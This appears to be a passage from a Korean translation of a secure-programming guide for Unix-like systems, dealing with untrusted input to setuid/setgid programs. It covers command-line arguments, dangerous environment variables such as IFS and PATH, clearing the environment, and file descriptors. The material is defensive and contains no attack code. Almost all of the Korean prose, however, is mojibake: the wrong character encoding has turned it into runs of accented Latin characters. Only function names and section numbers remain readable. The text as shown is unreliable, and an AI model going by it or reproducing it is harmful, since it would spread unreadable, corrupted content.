»ç¿ëÀÚ ÀÔ·ÂÀ» ÇØ¼®ÇÒ ¶§ ÀϽÃÀûÀ¸·Î ¸ðµç ±ÇÇÑÀ» ¾ø¾Ö°Å³ª ´õ ³ª¾Æ°¡¼­ º°°³ÀÇ ÇÁ·Î¼¼½º¸¦ »ý¼ºÇÏ´Â °Í (ÆÄ¼­ÀÇ ±ÇÇÑÀ» ¿µ±¸ÀûÀ¸·Î ¾ø¾Ö°í ´Ù¸¥ ÇÁ·Î¼¼½º°¡ ÆÄ¼­ ¿äû¿¡ ´ëÇØ º¸¾È °Ë»ç¸¦ ¼öÇàÇÑ´Ù) Àº ÁÁÀº »ý°¢ÀÌ´Ù. ÀÌ´Â ÆÄ½Ì ŽºÅ©°¡ º¹ÀâÇϰųª (lex ¶Ç´Â yacc ¿Í À¯»çÇÑ µµ±¸¸¦ »ç¿ëÇÏ´Â °æ¿ì) ¶Ç´Â ÇÁ·Î±×·¡¹Ö ¾ð¾î (¿¹, C ¿Í C++) °¡ ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇØ º¸È£ÇÏÁö ¾Ê´Â´Ù¸é ƯÈ÷ µé¾î¸Â´Â´Ù. ±ÇÇÑ ÃÖ¼ÒÈ­¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾ò±â À§Çؼ­´Â 6.3절 À» º¸¶ó.

º¸¾È °áÁ¤ (¿¹, »ç¿ëÀÚ¿¡°Ô ·Î±×ÀÎ Çã¿ë) ¿¡ µ¥ÀÌŸ¸¦ »ç¿ëÇÒ ¶§ ¹Ýµå½Ã ½Å·ÚÇÒ ¼ö Àִ ä³ÎÀ» »ç¿ëÇØ¶ó. ¿¹¸¦ µé¾î °ø°³ ÀÎÅͳݿ¡¼­ »ç¿ëÀÚ¸¦ ÀÎÁõÇÏ´Â À¯ÀÏÇÑ ¹æ¹ýÀ¸·Î ¸Ó½Å IP ÁÖ¼Ò ¶Ç´Â Æ÷Æ® ³Ñ¹ö¸¦ »ç¿ëÇÏÁö ¸¶¶ó. ´ëºÎºÐÀÇ È¯°æ¿¡¼­ ÀÌ Á¤º¸´Â ¾î¼¸é ¾ÇÀÇÀÖ´Â »ç¿ëÀÚ¿¡ ÀÇÇØ ¼³Á¤µÉ ¼ö ÀÖ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.9절 ¸¦ º¸¶ó.

´ÙÀ½ ÇϺΠÀýÀº ´Ù¾çÇÑ Á¾·ùÀÇ ÀÔ·ÂÀ» ³íÀÇÇÑ´Ù; ÀÔ·ÂÀº ȯ°æ º¯¼ö, umask °ª µî°ú °°Àº ÇÁ·Î¼¼½º »óŸ¦ Æ÷ÇÔÇÔÀ» ÁÖ¸ñÇØ¶ó. ¸ðµç ÀÔ·ÂÀÌ ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀÚ¿¡ ÀÇÇØ Á¦¾îµÉ ¼ö´Â ¾ø´Âµ¥ µû¶ó¼­ ÀÌ·¯ÇÑ »ç¿ëÀÚ°¡ Á¦¾îÇÒ ¼ö ÀÖ´Â ±×·¯ÇÑ ÀԷ¿¡ ´ëÇØ¼­¸¸ ÁÖÀǸ¦ ±â¿ïÀÌ¸é µÈ´Ù.


4.1. ¸í·É Çà

¸¹Àº ÇÁ·Î±×·¥Àº ¸í·É Çà (command line) ¿¡¼­ ÀÔ·ÂÀ» ¹Þ´Â´Ù. ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀÚ´Â setuid/setgid ÇÁ·Î±×·¥ÀÇ ¸í·ÉÇà µ¥ÀÌŸ¸¦ Á¦°øÇϴµ¥ µû¶ó¼­ setuid/setgid ÇÁ·Î±×·¥Àº ÀáÀçÀûÀ¸·Î À§ÇùÀÌ µÇ´Â ¸í·É Çà °ªµé·ÎºÎÅÍ ÀÚ½ÅÀ» º¸È£ÇØ¾ß ÇÑ´Ù. °ø°ÝÀÚ´Â execve(3) È£Ãâ°ú °°Àº ¸í·É ÇàÀ» ÅëÇØ ±×Àú ¸ðµç Á¾·ùÀÇ µ¥ÀÌŸ¸¦ º¸³¾ °ÍÀÌ´Ù. µû¶ó¼­ setuid/setgid ÇÁ·Î±×·¥Àº ¸í·É Çà ÀÔ·ÂÀ» ¿Ïº®È÷ È®ÀÎÇØ¾ß ÇÏ¸ç ¸í·É Çà Àμö 0 À¸·Î º¸°íµÈ ÇÁ·Î±×·¥ (°ø°ÝÀÚ´Â À̸¦ NULL À» Æ÷ÇÔÇÑ ¾î¶°ÇÑ °ªÀ¸·Îµµ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù) ÀÇ À̸§À» ¹Ï¾î¼­´Â ¾ÈµÈ´Ù.


4.2. ȯ°æ º¯¼ö

µðÆúÆ®·Î ȯ°æ º¯¼ö´Â ºÎ¸ð ÇÁ·Î¼¼½º·ÎºÎÅÍ »ó¼ÓµÈ´Ù. ±×·¯³ª ÇÁ·Î±×·¥ÀÌ ´Ù¸¥ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ¶§ È£ÃâÇÏ´Â ÇÁ·Î±×·¥ÀÌ È¯°æ º¯¼ö¸¦ ÀÓÀÇÀÇ °ªÀ¸·Î ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â setuid/setgid ÇÁ·Î±×·¥ÀÇ °æ¿ì À̵éÀÇ È£ÃâÀÚ°¡ ÁÖ¾îÁø ȯ°æ º¯¼öµéÀ» ¿Ïº®È÷ Á¦¾îÇÒ ¼ö Àֱ⠶§¹®¿¡ À§ÇèÇÏ´Ù. ȯ°æ º¯¼ö´Â º¸Åë »ó¼ÓµÇ±â ¶§¹®¿¡ ÀÌ´Â ¶ÇÇÑ °úµµÀûÀ¸·Î Àû¿ëµÇ´Âµ¥ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ¾î¶² ´Ù¸¥ ÇÁ·Î±×·¥À» È£ÃâÇÒ ¼öµµ ÀÖÀ¸¸ç Ưº°ÇÑ Á¶Ä¡°¡ ¾ø´Ù¸é ÀáÀçÀûÀ¸·Î À§ÇèÇÑ È¯°æ º¯¼ö¸¦ ÀÚ½ÅÀÌ È£ÃâÇÑ ÇÁ·Î±×·¥¿¡ ³Ñ°ÜÁÙ ¼ö ÀÖ´Ù. ´ÙÀ½ ÇϺΠÀýÀº ȯ°æ º¯¼ö ¹× À̸¦ °®°í ÇÏ´Â ÀÏÀ» ³íÀÇÇÑ´Ù.


4.2.1. ¸î¸î ȯ°æ º¯¼ö´Â À§ÇèÇÏ´Ù

¸î¸î ȯ°æ º¯¼öµéÀº ¸ðÈ£ÇÑ, ¹Ì¹¦ÇÑ ¶Ç´Â ºñ°øÀÎµÈ (undocumented) ¹æ½ÄÀ¸·Î ¸¹Àº ¶óÀ̺귯¸®¿Í ÇÁ·Î±×·¥À» Á¦¾îÇϱ⠶§¹®¿¡ À§ÇèÇÏ´Ù. ¿¹¸¦ µé¾î IFS º¯¼ö´Â ¾î¶² ¹®ÀÚ°¡ ¸í·É Çà ÀμöµéÀ» ±¸ºÐÇÏ´Â Áö¸¦ °áÁ¤Çϱâ À§ÇØ sh °ú bash ½©¿¡ ÀÇÇØ »ç¿ëµÈ´Ù. ½©Àº ¸î°¡Áö ÇÏÀ§ ¼öÁØ È£Ãâ (C ¿¡¼­ system(3) °ú popen(3) ¶Ç´Â ÆÞ¿¡¼­ back-tick ¿¬»êÀÚ) ¿¡ ÀÇÇØ È£ÃâµÇ±â ¶§¹®¿¡ IFS º¯¼ö¸¦ ¿¹¿ÜÀûÀÎ °ªÀ¸·Î ¼³Á¤ÇÑ´Ù¸é ¸í¹éÈ÷ ¾ÈÀüÇÑ È£ÃâÀ» ÆÄ±«ÇÒ °ÍÀÌ´Ù. ÀÌ µ¿ÀÛÀº sh ¿Í bash ¿¡ ¹®¼­È­µÇ¾î ÀÖÁö¸¸ ±× Àǹ̴ ¸ðÈ£ÇÏ´Ù; ¸¹Àº ¿À·¡µÈ »ç¿ëÀڵ鸸ÀÌ ½ÇÁ¦·Î ÀǵµµÈ ¸ñÀû¿¡ »ç¿ëÇϱ⠶§¹®ÀÌ ¾Æ´Ï¶ó º¸¾ÈÀ» ±ú¶ß¸®´Âµ¥ IFS º¯¼ö¸¦ »ç¿ëÇϱ⠶§¹®¿¡ ÀÌ¿¡ ´ëÇØ ¾Ë°í ÀÖ´Ù. ´Ù¿í ¹Ù¶÷Á÷ÇÏÁö ¾ÊÀº °ÍÀº ¸ðµç ȯ°æ º¯¼ö°¡ ¹®¼­È­µÇ¾î ÀÖÁö ¾ÊÀ¸¸ç ÀÖ´Ù°í ÇÏ´õ¶óµµ ´Ù¸¥ ÇÁ·Î±×·¥ÀÌ À§ÇèÇÑ È¯°æ º¯¼ö¸¦ º¯°æ ¹× Ãß°¡ÇÒ ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù. µû¶ó¼­ ÀÌ ¹®Á¦¿¡ ´ëÇÑ À¯ÀÏÇÑ ½ÇÁ¦ ÇØ°áÃ¥ (¹ØºÎºÐ¿¡ ±â¼úµÇµíÀÌ) Àº ÇÊ¿äÇÑ È¯°æ º¯¼ö¸¸ ¼±ÅÃÇÏ°í ³ª¸ÓÁö ¸ðµç º¯¼ö´Â ¹ö¸®´Â °ÍÀÌ´Ù.


4.2.2. ȯ°æ º¯¼ö ÀúÀå Æ÷¸ËÀº À§ÇèÇÏ´Ù

ÀϹÝÀûÀ¸·Î ÇÁ·Î±×·¥Àº ȯ°æ º¯¼ö¿¡ Á¢±ÙÇϱâ À§ÇØ Ç¥ÁØ Á¢±Ù ·çƾÀ» »ç¿ëÇϴµ¥ ¿¹¸¦ µé¾î, C ¿¡¼­´Â getenv(3) À» ÀÌ¿ëÇÏ¿© ȯ°æ º¯¼ö¸¦ ¾ò°í POSIX Ç¥ÁØ ·çƾ putenv(3) ¶Ç´Â BSD È®Àå setenv(3) ¸¦ ÀÌ¿ëÇÏ¿© À̸¦ ¼³Á¤Çϸç unsetenv(3) À» ÀÌ¿ëÇÏ¿© À̸¦ Á¦°ÅÇÑ´Ù. setenv(3) ´Â ¸®´ª½º¿¡¼­µµ ±¸ÇöµÇ¾î ÀÖÀ½À» ÀúÀÚ´Â ¾ð±ÞÇÑ´Ù.

±×·¯³ª Å©·¢Ä¿°¡ ±×·¸°Ô ¿µ¸®ÇÒ ÇÊ¿ä´Â ¾øÀ¸¸ç Å©·¢Ä¿´Â execve(2) ¸¦ »ç¿ëÇÏ¿© ÇÁ·Î±×·¥¿¡ ³Ñ°ÜÁö´Â ȯ°æ º¯¼ö µ¥ÀÌŸ ¿µ¿ªÀ» Á÷Á¢ÀûÀ¸·Î Á¦¾îÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ´Ù¼ÒÀÇ ´Ù·ç±â Èûµç °ø°ÝÀ» Çã¿ëÇϸç ȯ°æ º¯¼ö°¡ ½ÇÁ¦·Î ¾î¶»°Ô ÀÛµ¿ÇÏ´ÂÁö ¾Ë¾Æ¾ß¸¸ ÀÌÇØÇÒ ¼ö ÀÖ´Ù. ¸®´ª½º¿¡¼­ ȯ°æ º¯¼öÀÇ ½ÇÁ¦ ÀÛµ¿ ¹æ¹ý¿¡ ´ëÇÑ ¿ä¾àÀº environ(5) À» º¼ ¼ö ÀÖ´Ù. ¿ä¾àÇϸé ȯ°æ º¯¼ö´Â ³»ºÎÀûÀ¸·Î ¹®ÀÚ¿¡ ´ëÇÑ Æ÷ÀÎÅÍ ¹è¿­ÀÇ Æ÷ÀÎÅÍ·Î ÀúÀåµÇ´Âµ¥ ÀÌ ¹è¿­Àº ¼ø¼­ÀûÀ¸·Î ÀúÀåµÇ¸ç NULL Æ÷ÀÎÅÍ (À̸¦ ÅëÇØ ¹è¿­ÀÌ ¾ðÁ¦ ³¡³ª´ÂÁö¸¦ ¾Ë ¼ö ÀÖ´Ù) ·Î ³¡³­´Ù. ¹®ÀÚ¿¡ ´ëÇÑ Æ÷ÀÎÅ͵éÀº Â÷·Ê·Î ``NAME=value" ÇüÅÂÀÇ NIL ·Î ³¡³ª´Â ¹®ÀÚ¿­ °ªÀ» °¡¸®Å²´Ù. ÀÌ´Â ¸î°¡Áö ÇÔÃàµÈ ÀǹÌÀ» °®´Âµ¥ ¿¹¸¦ µé¾î ȯ°æ º¯¼ö À̸§Àº = ±âÈ£ ¸¦ Æ÷ÇÔÇÒ ¼ö ¾øÀ¸¸ç À̸§°ú °ªÀº NIL ¹®ÀÚ¸¦ ³»ÀåÇÒ ¼ö ¾ø´Ù. ±×·¯³ª ÀÌ Æ÷¸ËÀÇ ´õ¿í À§ÇèÇÑ ÇÔÃàµÈ Àǹ̴ µ¿ÀÏ º¯¼ö À̸§À» °®À¸³ª ´Ù¸¥ °ªÀ» °®´Â ´ÙÁß ¿£Æ®¸®¸¦ Çã¿ëÇÑ´Ù´Â °ÍÀÌ´Ù (¿¹, SHELL ¿¡ ´ëÇØ ÇѰ¡Áö ÀÌ»óÀÇ °ª). ÀϹÝÀûÀÎ ¸í·É ½©Àº À̸¦ ±ÝÁöÇÏ´Â ¹Ý¸é Áö¿ªÀûÀ¸·Î ÀÛ¾÷À» ÇÏ´Â Å©·¢Ä¿´Â execve(2) ¸¦ ÀÌ¿ëÇÏ¿© ÀÌ·± »óȲÀ» ¸¸µé ¼ö ÀÖ´Ù.

ÀÌ·± ½ºÅ丮Áö Æ÷¸Ë(°ú ¼³Á¤µÇ´Â ¹æ½Ä) °ú °ü·ÃµÈ ¹®Á¦´Â ÇÁ·Î±×·¥ÀÌ ÀÌ °ªÀ»ÀÌ À¯È¿ÇÑÁö º¸±â À§ÇØ ÀÌ·¯ÇÑ °ªµé Áß Çϳª¸¦ °Ë»çÇÒ ¼ö ÀÖÁö¸¸ ½ÇÁ¦·Î´Â ´Ù¸¥ °ªÀ» »ç¿ëÇÒ ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù. ¸®´ª½º¿¡¼­ GNU glibc ´Â À̷κÎÅÍ ÇÁ·Î±×·¥À» º¸È£ÇÏ·Á°í Çϴµ¥ glibc 2.1 ¿¡¼­ getenv Àº ´Ã óÀ½ ÀÏÄ¡ÇÏ´Â ¿£Æ®¸®¸¦ ¾ò°í setenv ¿Í putenv ´Â ´Ã óÀ½ ÀÏÄ¡ÇÏ´Â ¿£Æ®¸®¸¦ ¼³Á¤Çϸç unsetenv ´Â ½ÇÁ¦·Î ¸ðµç ÀÏÄ¡ÇÏ´Â ¿£Æ®¸®ÀÇ ¼³Á¤À» ÇØÁ¦ÇÒ °ÍÀÌ´Ù (ÀÌ·± ¹æ½ÄÀ¸·Î unsetenv ¸¦ ±¸ÇöÇÑ GNU glibc ±¸ÇöÀÚ¿¡°Ô ÃàÇÏ!). ±×·¯³ª ¸î¸î ÇÁ·Î±×·¥Àº Á÷Á¢ÀûÀ¸·Î ȯ°æ º¯¼ö·Î °¡¼­ ¸ðµç ȯ°æ º¯¼ö¿¡ ´ëÇØ ¹Ýº¹ Àû¿ëÇϴµ¥ ÀÌ·± °æ¿ì óÀ½ÀÌ ¾Æ´Ñ ¸¶Áö¸·À¸·Î ÀÏÄ¡ÇÏ´Â ¿£Æ®¸®¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù. µû¶ó¼­ óÀ½ ÀÏÄ¡ÇÏ´Â ¿£Æ®¸®¿¡ ´ëÇØ¼­´Â Å©·¡Ä¿·ÎºÎÅÍ º¸È£ÇÒ ¼ö ÀÖÁö¸¸ ½ÇÁ¦ »ç¿ëµÈ °ªÀÌ ¸¶Áö¸·À¸·Î ÀÏÄ¡ÇÏ´Â ¿£Æ®¸®¶ó¸é Å©·¢Ä¿´Â À̸¦ ÀÌ¿ëÇØ º¸È£ ·çƾÀ» ÇÇÇÒ °ÍÀÌ´Ù.


4.2.3. ÇØ°á¹æ¾È - ÃßÃâ ¹× Á¦°Å

º¸¾ÈÀûÀÎ setuid/setgid ÇÁ·Î±×·¥¿¡ ´ëÇØ ÀÔ·ÂµÉ Çʿ䰡 Àִ ȯ°æ º¯¼öÀÇ °£´ÜÇÑ ¸®½ºÆ®°¡ ÁÖÀDZí°Ô ÃßÃâµÇ¾î¾ß ÇÑ´Ù. ±× ÈÄ Àüü ȯ°æ º¯¼ö¸¦ Áö¿ì°í ÇÊ¿äÇÑ ¾à°£ÀÇ È¯°æ º¯¼öµéÀ» ¾ÈÀüÇÑ °ªÀ¸·Î Àç¼³Á¤ÇØ¾ß ÇÑ´Ù. ÇÏÀ§ ÇÁ·Î±×·¥À» È£ÃâÇÑ´Ù¸é ½ÇÁ¦·Î ´õ¿í ÁÁÀº ¹æ¹ýÀº ¾ø´Ù: ¸ðµç À§ÇèÇÑ °ªÀ» ¿­°ÅÇÒ ¼ö ÀÖ´Â ½ÇÁ¦ÀûÀÎ ¹æ¹ýÀº ¾ø´Ù. Á÷Á¢Àû ¶Ç´Â °£Á¢ÀûÀ¸·Î È£ÃâÇÒ ¸ðµç ÇÁ·Î±×·¥ÀÇ ¼Ò½º Äڵ带 °ËÅäÇÑ´Ù°í ÇÏ´õ¶óµµ Äڵ带 ÀÛ¼ºÇÑ ÈÄ ´©±º°¡°¡ »õ·Î¿î ºñ°øÀÎµÈ È¯°æ º¯¼ö¸¦ Ãß°¡ÇÒ ¼ö ÀÖÀ¸¸ç À̵é Áß Çϳª¸¦ °ø°Ý¿¡ ÀÌ¿ëÇÒ ¼öµµ ÀÖ´Ù.

C/C++ ¿¡¼­ ȯ°æÀ» Áö¿ì´Â °£´ÜÇÑ ¹æ¹ýÀº Àü¿ª º¯¼ö environ ¸¦ NULL ·Î ¼³Á¤ÇÏ´Â °ÍÀÌ´Ù. Àü¿ª º¯¼ö environ Àº <unistd.h> ÆÄÀÏ¿¡ Á¤ÀǵǾî Àִµ¥ C/C++ »ç¿ëÀÚ´Â ÀÌ Çì´õ ÆÄÀÏÀ»#include ¸¦ ½á¼­ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ¾²·¹µå¸¦ »ý¼ºÇϱâ Àü¿¡ environ À» Á¶ÀÛÇÒ Çʿ䰡 ÀÖÁö¸¸ ÇÁ·Î±×·¥ ½ÇÇà Ãʱâ (º¸Åë ¾²·¹µå°¡ »ý¼ºµÇ±â Àü) ¿¡ À̸¦ Á¶ÀÛÇϱ⠶§¹®¿¡ °ÅÀÇ ¹®Á¦°¡ µÇÁö ¾Ê´Â´Ù.

Àü¿ª º¯¼ö environ ÀÇ Á¤ÀÇ´Â ¿©·¯°¡Áö Ç¥ÁØ¿¡ Á¤ÀǵǾî ÀÖ´Ù; °ø½ÄÀû Ç¥ÁØÀÌ ÀÌ °ªÀÇ Á÷Á¢Àû º¯°æÀ» ¹¬°úÇÏ´Â Áö´Â ¸íÈ®ÇÏÁö ¾ÊÀ¸¸ç ÀúÀÚ´Â À̸¦ º¯°æÇϴµ¥ ÀÖ¾î ¹®Á¦°¡ ÀÖ¾ú´ø À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº Àß ¸ð¸£°í ÀÖ´Ù. ÀúÀÚ´Â º¸Åë environ À» Á÷Á¢ÀûÀ¸·Î ¼öÁ¤ÇÑ´Ù; ÀÌ·¯ÇÑ ÇÏÀ§ ¼öÁØ ÄÄÆ÷ÅÏÆ®¸¦ Á¶ÀÛÇÏ´Â °ÍÀº ¾Æ¸¶µµ À̽İ¡´ÉÇÏÁö ¾ÊÁö¸¸ ÀÌ´Â ±ú²ýÇÑ (¾ÈÀüÇÑ) ȯ°æÀ» ¾òÀ» ¼ö ÀÖ°Ô º¸ÁõÇÑ´Ù. ÃßÈÄ Àüü º¯¼ö ÁýÇÕ¿¡ Á¢±ÙÇÒ Çʿ䰡 ÀÖ´Â µå¹® °æ¿ì¿¡´Â environ º¯¼ö °ªÀ» ¾îµðµç ÀúÀåÇÒ ¼ö ÀÖÀ¸³ª ÀÌ´Â °ÅÀÇ ÇÊ¿äÇÏÁö ¾Ê´Ù; °ÅÀÇ ¸ðµç ÇÁ·Î±×·¥Àº À̵éÁß ´ÜÁö ÀϺΠ°ª¸¸À» ÇÊ¿ä·Î ÇÏ¸ç ³ª¸ÓÁö´Â ¹ö¸°´Ù.

ȯ°æÀ» Áö¿ì´Â ¶Ç ´Ù¸¥ ¹æ¹ýÀº ºñ°øÀÎµÈ clearenv() ÇÔ¼ö¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù. clearenv() ÇÔ¼ö´Â º°´Ù¸¥ ¿ª»ç¸¦ °®°í Àִµ¥ ÀÌ´Â POSIX 1 ¿¡ Á¤ÀǵǾî ÀÖ´Ù°í ¾Ë·ÁÁ® ÀÖÁö¸¸ ¾î¶² ¿¬À¯ÀÎÁö ÀüÇô ÀÌ Ç¥ÁØ¿¡ Æ÷ÇÔµÇÁö ¾Ê¾Ò´Ù. ±×·¯³ª clearenv() ´Â POSIX 9 (Æ÷Æ®¶õ 77 ÀÇ POSIX ¹ÙÀεù) ¿¡ Á¤ÀǵǾî ÀÖÀ¸¸ç µû¶ó¼­ ÀÌ¿¡ ´ëÇØ ÁØ °ø½Ä »óÅ·ΠÀÖ´Ù. ¸®´ª½º¿¡¼­ clearenv() ´Â <stdlib.h> ÆÄÀÏ¿¡ Á¤ÀǵǾî ÀÖÁö¸¸ #include ¸¦ ½á¼­ Æ÷ÇÔÇϱâ Àü¿¡ __USE_MISC °¡ #define ¿¡ ÀÇÇØ Á¤ÀǵǾî ÀÖ´ÂÁö È®ÀÎÇØ¾ß ÇÑ´Ù. ¾à°£ ´õ¿í´õ °ø½ÄÀûÀÎ Á¢±Ù ¹æ¹ýÀº __USE_MISC ¸¦ Á¤ÀÇÇØ¼­ _SVID_SOURCE ¶Ç´Â _BSD_SOURCE °¡ #define ¿¡ ÀÇÇØ Á¤ÀÇµÇ°Ô ÇÏ¿© <features.h> ÆÄÀÏÀ» #include ¿¡ ÀÇÇØ Æ÷ÇÔÇÏ´Â °ÍÀÌ´Ù - ÀÌ´Â °ø½ÄÀûÀΠƯ¡À» °®´Â Å×½ºÆ® ¸ÅÅ©·ÎÀÌ´Ù.

°ÅÀÇ È®½ÇÈ÷ ÀçÃß°¡ÇØ¾ß Çϴ ȯ°æ º¯¼ö´Â ÇÁ·Î±×·¥ ½ÇÇàÀ» À§ÇØ °Ë»öµÇ´Â µð·ºÅ丮 ¸ñ·ÏÀÎ PATH ÀÌ´Ù; PATH ´Â ÇöÀç µð·ºÅ丮¸¦ Æ÷ÇÔÇÏÁö ¾Ê¾Æ¾ß ÇÏ¸ç º¸Åë ``/bin:/usr/bin" °ú °°ÀÌ °£´ÜÇÑ ÇüÅÂÀÌ´Ù. ÀϹÝÀûÀ¸·Î IFS (µðÆúÆ®´Â °ø¹éÀÌ Ã¹ ¹®ÀÚÀÎ `` \t\n") ¿Í TZ (timezone, ½Ã°£´ë) ¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ¸®´ª½º°¡ IFS ¶Ç´Â TZ °¡ ¼³Á¤µÇÁö ¾Ê¾Ò´Ù°í ÇØ¼­ ÀÛµ¿ÇÏÁö ¾Ê´Â °ÍÀº ¾Æ´ÏÁö¸¸ ¾î¶² System V ¿¡ ±âÃÊÇÑ ½Ã½ºÅÛÀº TZ °ªÀ» ¼³Á¤ÇÏÁö ¾Ê´Â °æ¿ì ¹®Á¦ÀÇ ¼ÒÁö°¡ µÈ´Ù. ¾î¶² ½©Àº IFS °ªÀÌ ¼³Á¤µÇ¾î¾ß ÇÑ´Ù´Â ·ç¸Óµµ ÀÖ´Ù. ¸®´ª½º¿¡¼­ ¼³Á¤ÇÒ ¼ö ÀÖ´Â °øÅëµÈ ȯ°æ º¯¼ö ¸ñ·ÏÀ» ¾ò±â À§Çؼ­´Â environ(5) ¸¦ º¸¶ó.

½ÇÁ¦·Î »ç¿ëÀÚ°¡ Á¦°øÇÑ °ªµéÀÌ ÇÊ¿äÇÏ´Ù¸é ±× °ªÀÌ ÇÕ¹ýÀûÀÎ °ª¿¡ ´ëÇÑ ÆÐÅϰú ÀÏÄ¡ÇÏ´ÂÁö ¾î¶² ÇÕ´çÇÑ ÃÖ´ë ±æÀ̳»¿¡ ÀÖ´ÂÁö¸¦ º¸ÁõÇϱâ À§ÇØ ¿ì¼±ÀûÀ¸·Î °Ë»çÇØ¶ó. ¿øÄ¢ÀûÀ¸·Î´Â /etc µð·ºÅ丮¿¡ Ç¥ÁØÀûÀÎ ¾ÈÀüÇÑ È¯°æ º¯¼ö °ª¿¡ ´ëÇÑ Á¤º¸¸¦ °®°í ÀÖ´Â ½Å·ÚÇÒ ¼ö Àִ ǥÁØ ÆÄÀÏÀÌ ÀÖÀ» ¼öµµ ÀÖÁö¸¸ ÇöÀç ÀÌ·¯ÇÑ ¸ñÀûÀ» À§ÇØ Á¤ÀÇµÈ Ç¥ÁØ ÆÄÀÏÀº ¾ø´Ù. ºñ½ÁÇÑ ÀÌÀ¯·Î PAM ¸ðµâÀ» °®°í ÀÖ´Â ½Ã½ºÅÛ¿¡ ´ëÇØ pam_env ¸¦ Á¶»çÇÒ ¼öµµ ÀÖ´Ù.

ÇÁ·Î±×·¡¹Ö ¾ð¾î·Î ½©À» »ç¿ëÇÏ·Á ÇÑ´Ù¸é ``-" ¿É¼ÇÀ» »ç¿ëÇØ ``/usr/bin/env" ÇÁ·Î±×·¥À» »ç¿ëÇÒ ¼ö ÀÖ´Ù (½ÇÇàµÇ´Â ÇÁ·Î±×·¥ÀÇ ¸ðµç ȯ°æ º¯¼ö¸¦ Áö¿î´Ù). ±âº»ÀûÀ¸·Î /usr/bin/env ¸¦ È£ÃâÇÏ¿© ÀÌ¿¡ ``-" ¿É¼ÇÀ» ÁÖ°í ¼³Á¤ÇÏ·Á°í ÇÏ´Â º¯¼ö¿Í °ª (name=value ÇüÅ·Î) À» ¾´ ÈÄ ½ÇÇà½Ãų ÆÄÀÏ À̸§°ú ±× Àμö¸¦ ¼³Á¤ÇÑ´Ù. ´ëºÎºÐÀº ¿ÏÀüÇÑ °æ·Î À̸§ (/usr/bin/env) À» »ç¿ëÇÏ¿© ÇÁ·Î±×·¥À» È£ÃâÇÏ±æ ¿øÇϴµ¥ ``env" ¿Í´Â ´Þ¸® »ç¿ëÀÚ°¡ À§ÇèÇÑ PATH °ªÀ» ¸¸µé ¼ö ÀÖ´Ù. GNU env ´Â ``-i" ¿Í ``--ignore-environment" ¿É¼Ç (½ÃÀÛÇÏ´Â ÇÁ·Î±×·¥ÀÇ È¯°æÀ» Áö¿î´Ù) À» µ¿ÀÏÇÏ°Ô Çã¿ëÇÔÀ» ÁÖ¸ñÇØ¶ó. ±×·¯³ª À̸¦ ´Ù¸¥ ¹öÀüÀÇ env ¿¡ À̽ÄÇÒ ¼ö´Â ¾ø´Ù.

ȯ°æÀ» Á÷Á¢ÀûÀ¸·Î Àç¼³Á¤ÇÒ ¼ö ¾øµµ·Ï ÇÏ´Â ¾ð¾î·Î setuid/setgid ÇÁ·Î±×·¥À» ÀÛ¼ºÇÑ´Ù¸é ´Ù¸¥ Á¢±Ù ¹æ¹ýÀº ``wrapper" ÇÁ·Î±×·¥À» »ý¼ºÇÏ´Â °ÍÀÌ´Ù. wrapper ´Â ȯ°æ ÇÁ·Î±×·¥À» ¾ÈÀüÇÑ °ªÀ¸·Î ¼³Á¤ÇÑ ÈÄ ´Ù¸¥ ÇÁ·Î±×·¥À» È£ÃâÇÑ´Ù. ÁÖÀÇ: wrapper °¡ ½ÇÁ¦·Î ÀǵµÇÏ´Â ÇÁ·Î±×·¥À» È£ÃâÇÒ °ÍÀÎÁö¸¦ È®ÀÎÇØ¶ó; ÀÎÅÍÇÁ¸®Æ¼µå ÇÁ·Î±×·¥À̶ó¸é ÀÎÅÍÇÁ¸®ÅÍ·Î ÇÏ¿©±Ý Ưº°ÇÑ setuid/setgid ±ÇÇÑÀÌ ÁÖ¾îÁø ÇÁ·Î±×·¥¿Ü¿¡ ´Ù¸¥ ÇÁ·Î±×·¥À» ÀûÀçÇÒ ¼ö ÀÖ°Ô ÇÏ´Â °¡´ÉÇÑ °æÀï »óŰ¡ ¾øÀ½À» È®ÀÎÇØ¶ó.


4.3. ÆÄÀÏ ±â¼úÀÚ

ÇÁ·Î±×·¥Àº ÀÏ·ÃÀÇ "¿ÀÇ ÆÄÀÏ ±â¼úÀÚ" Áï ¹Ì¸® ¿­·Á ÀÖ´Â ÆÄÀÏÀ» ³Ñ°Ü¹Þ´Â´Ù. setuid/setgid ÇÁ·Î±×·¥Àº »ç¿ëÀÚ°¡ ¾î¶² ÆÄÀÏÀ» ¿ÀÇÂÇÒ °ÍÀÎÁö ¹× ¹«¾ù¿¡ ¿ÀÇÂÇÒ °ÍÀÎÁö (Çã°¡ ÇѰ賻¿¡¼­) ¸¦ ¼±ÅÃÇÒ ¼ö ÀÖ´Ù´Â »ç½ÇÀ» ó¸®ÇØ¾ß ÇÑ´Ù. setuid/setgid ÇÁ·Î±×·¥Àº »õ·Î¿î ÆÄÀÏÀ» ¿­¶§ ´Ã °íÁ¤µÈ ÆÄÀÏ ±â¼úÀÚ id ·Î ¿­¸± °ÍÀ̶ó°í °¡Á¤ÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ¶ÇÇÑ Ç¥ÁØ ÀÔ·Â (stdin), Ç¥ÁØ Ãâ·Â (stdout) °ú Ç¥ÁØ ¿¡·¯ (stderr) ÀÌ Å͹̳ÎÀ» ÂüÁ¶ÇÏ´ÂÁö ¶Ç´Â µ¿µîÇÏ°Ô ¿­·Á ÀÖ´ÂÁö °¡Á¤ÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù.

